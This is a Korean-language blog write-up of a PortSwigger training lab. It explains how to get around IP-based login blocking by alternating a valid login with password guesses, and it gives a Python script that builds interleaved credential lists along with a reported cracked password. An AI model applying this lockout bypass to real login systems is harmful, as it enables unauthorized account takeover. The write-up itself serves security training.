WEB hacking/PortSwigger

Lab: Broken brute-force protection, IP block 문제 풀이(WriteUp)

Roronoa 2025. 6. 27. 23:12
반응형

문제 설명

브루트 포스 공격을 통해 피해자의 계정에 로그인하면 문제가 해결된다.

문제 설명

문제 풀이

로그인 페이지에 접근한 후 로그인 요청을 수행한다.

로그인 요청

 

로그인을 여러번 시도 후 로그인에 실패할 경우 1분동안 로그인을 할 수 없다.

로그인 다수 실패 시 로그인 1분 차단

 

하지만 로그인 실패와 성공을 번갈아서 하면 차단당하지 않는 다는것을 발견하였다. 이를 적용해 브루트 포스 공격 페이로드를 제작하였다.

해당 코드를 통해 아이디와 패스워드 리스트를 생성하였다.

def create_username_list():
    for i in range(200):
        with open("username.txt", "a") as fa:
            fa.write("wiener\n")
            fa.write("carlos\n")

def create_new_password_list():
    with open("password.txt", 'r') as f:
        passwords = f.readlines()

        for password in passwords:
            with open("new_password.txt", "a") as fa:
                fa.write("peter\n")
                fa.write(password.strip() + "\n")

create_username_list()
create_new_password_list()

 

생성한 리스트를 이용하여 브루트 포스 공격을 진행한다. 1번씩 번갈아서 실행해야하기 때문에 프로세스를 1로 지정한다.

브루트 포스 공격 진행

 

carlos:123qwe의 경우 응답 코드가 302로 로그인에 성공하였다.

브루트 포스 공격 성공

 

브루트 포스 공격을 통해 탈취한 계정으로 로그인 시 문제가 해결된다.

문제 해결

 

반응형